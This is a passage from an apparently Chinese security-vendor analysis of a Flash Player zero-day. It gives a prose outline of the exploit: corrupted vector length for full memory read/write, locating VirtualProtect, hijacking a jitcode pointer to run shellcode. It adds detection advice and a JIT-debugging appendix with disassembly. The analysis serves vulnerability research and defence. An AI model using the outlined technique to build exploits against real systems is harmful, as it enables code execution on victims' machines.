0995c4d0  40000000 08d42000 0000003a 00000000
0995c4e0  00000000 00000000 00000000 00000000
0995c4f0  00000000 00000000 00000000 00000000
0995c500  00000000 00000000 00000000 00000000
0995c510  00000000 00000000 00000000 00000000
0995c520  00000000 00000000 00000000 00000000
0995c530  00000000 00000000 00000000 00000000
0995c540  00000000 00000000 00000000 00000000

Exploit

此时拥有了一个可以长度为全内存的vector _vu,为了最终能实现全内存读写需要成2步

A 为了能读写全内存,此时需要获取到_vul[0] 数组的首地址,之后读写任意地址只需和首地址相计算得出INDEX,通过_vul[index] 即可读写全内存。
B 同时还需要获取到一个定义的vector的buf首地址,这样以后任意对象的地址可以通过_vo[1] = obj; 之后通过A然后获取,利用代码里面的Prepare 函数主要做此工作。

之后通过搜索内存 获取到关键VirtualProtect函数地址,触发调用设置Payload可执行属性,最后通过篡改Payload的jitcode指针,执行shellcode,读者可以在自己调试一番。

Detection and Defense

我们的未知威胁检测引擎无需更新即可检测到此0day,详情请查看B超

https://b-chao.com/index.php/Index/show_detail/Sha1/E695FBEB87CB4F02917E574DABB5EC32D1D8F787

可以预见很快各大exploit kit 将会增加此0day的支持并进行挂马、钓鱼攻击,用户可以暂时先禁用掉Flash,等待Adobe官方发布更新补丁.

Appendix – DEBUG JIT CODE

METHOD TO JITCODE

利用趋势的一位同学写的debugjit的插件,可以定位到方法对应的jitcode位置,下载链接:

http://vdisk.weibo.com/s/uAGaNxKsgN8na/1420788398

之前我也写过一个 后面没有时间来继续更新了 主要原理是通过查看AVMPLUS工程代码,HOOK JITCODE生成的地方,打印每次生成JITCODE地址对应的METHOD NAME和METHOD ID

ABC CODE TO JITCODE

SWF从AS源码生成ABC,AVM对ABC生成对应的JIT CODE. 每一段相应的ABC 对应着生成的JIT CODE

看图中源码与对应的ABC CODE,对应生成的jitcode应该类似

Call xxx (new bytearray)
Mov stack_var1 , eax
Push 0x11111111
Call ccc (writeUnsinged)

这里编译的是debug版本,每行都会在abc code中生成 debugline x(行号),对应jit code中也会有类似

Push 25
Call ddd (debugline )

具体对应生成的jitCODE

06379773 6a18            push    18h
06379775 8b8d2cffffff    mov     ecx,dword ptr [ebp-0D4h]
0637977b e870ab61fb  call    flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x115d50 (019942f0) //debugline 24
06379780 83c40c          add     esp,0Ch
06379783 8b8d28ffffff    mov     ecx,dword ptr [ebp-0D8h]
06379789 8d492c          lea     ecx,[ecx+2Ch]
0637978c 8d2424          lea     esp,[esp]
0637978f 8d9570ffffff    lea     edx,[ebp-90h]
06379795 e8b66363fb      call    flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x1315b0 (019afb50)
// findpropstrict

0637979a 8b481c          mov     ecx,dword ptr [eax+1Ch]
0637979d 85c9            test    ecx,ecx
0637979f 0f8477050000    je      06379d1c
063797a5 8b7108          mov     esi,dword ptr [ecx+8]
063797a8 8b5610          mov     edx,dword ptr [esi+10h]
063797ab 8b7208          mov     esi,dword ptr [edx+8]
063797ae 8b4218          mov     eax,dword ptr [edx+18h]
063797b1 ffd0            call    eax
// constructprop  new bytearray();

063797b3 8945b8          mov     dword ptr [ebp-48h],eax
063797b6 8d8d24ffffff    lea     ecx,[ebp-0DCh]
063797bc 898524ffffff    mov     dword ptr [ebp-0DCh],eax
063797c2 8b4604          mov     eax,dword ptr [esi+4]
063797c5 83ec04          sub     esp,4
063797c8 51              push    ecx
063797c9 6a00            push    0
063797cb 56              push    esi
063797cc ffd0            call    eax
// coerce

063797ce 83c410          add     esp,10h
063797d1 8b75b8          mov     esi,dword ptr [ebp-48h]
063797d4 8975a0          mov     dword ptr [ebp-60h],esi
063797d7 c6458203        mov     byte ptr [ebp-7Eh],3

063797db 83ec0c          sub     esp,0Ch
063797de 6a19            push    19h
063797e0 8b8d2cffffff    mov     ecx,dword ptr [ebp-0D4h]
063797e6 e805ab61fb      call    flashplayer_17_sa_debug!IAEModule_IAEKernel_UnloadModule+0x115d50 (019942f0)
//debugline 25

063797eb 83c40c          add     esp,0Ch
063797ee 8b55a0          mov     edx,dword ptr [ebp-60h]
063797f1 b8a0f4c53b      mov     eax,3BC5F4A0h
063797f6 35b1e5d42a      xor     eax,2AD4E5B1h  //0x11111111
063797fb 8b7208          mov     esi,dword ptr [edx+8]
063797fe 8b4e60          mov     ecx,dword ptr [esi+60h]
06379801 8bb534ffffff    mov     esi,dword ptr [ebp-0CCh]
06379807 899520ffffff    mov     dword ptr [ebp-0E0h],edx
0637980d 8d9520ffffff    lea     edx,[ebp-0E0h]
06379813 898524ffffff    mov     dword ptr [ebp-0DCh],eax
06379819 8b4104          mov     eax,dword ptr [ecx+4]
0637981c 83ec04          sub     esp,4
0637981f 52              push    edx
06379820 6a01            push    1
06379822 51              push    ecx
06379823 ffd0            call    eax
//local1.writeUnsigned(0x11111111);

Find AS func Code

找到了对应的jit code之后,如何找到对应的AS NATIVE 函数的实现呢

一般对应的调用生成的jit code 类似

Push xx
Push num (参数个数)
Push ecx/esi
Call method_pack

以bytearray.writeUnsigned 函数调用为例

Method_pack

到达writeUnsigned 的pack函数

WriteUnsigned 函数对应的实现

不过也有很多其他类型 基本上往call register 方向去猜就对了

BreakPoint func

很多时间比如我们想看一段method中某一段代码对应生成的jit code实现怎么办呢?

IE中有类似Math.atan2(0xbabe, “[*] Creating object button…”);

我一般的做法是插入bytearray.writeUnsigned(0×11111111);函数 根据传入不同的参数知晓当前在哪里,防止迷失在jit code中

但是每个版本的writeUnsigned函数对应的实现地址不一样,一般都过搜索

中的lea ebp,[esi+0x24h] 来定位

V2+4 就是writeUnsigned ,+2 则是writeShort之类的

找到这个函数地址之后 下断点,断下来之后直接快速步过返回就到了JIT CODE区域了

Load SIG file

此前不久h4ckmp和promised_lu 2位同学 都把自己通过avmplus制作的sig发出来,导入到ida sig文件夹之后,可以识别到不少的函数

下载链接:http://vdisk.weibo.com/s/BY9EvewxqT4D_/1435050804

上一篇:简要分析Hacking Team远程控制系统

下一篇:黑狐木马最新变种“肥兔”详细分析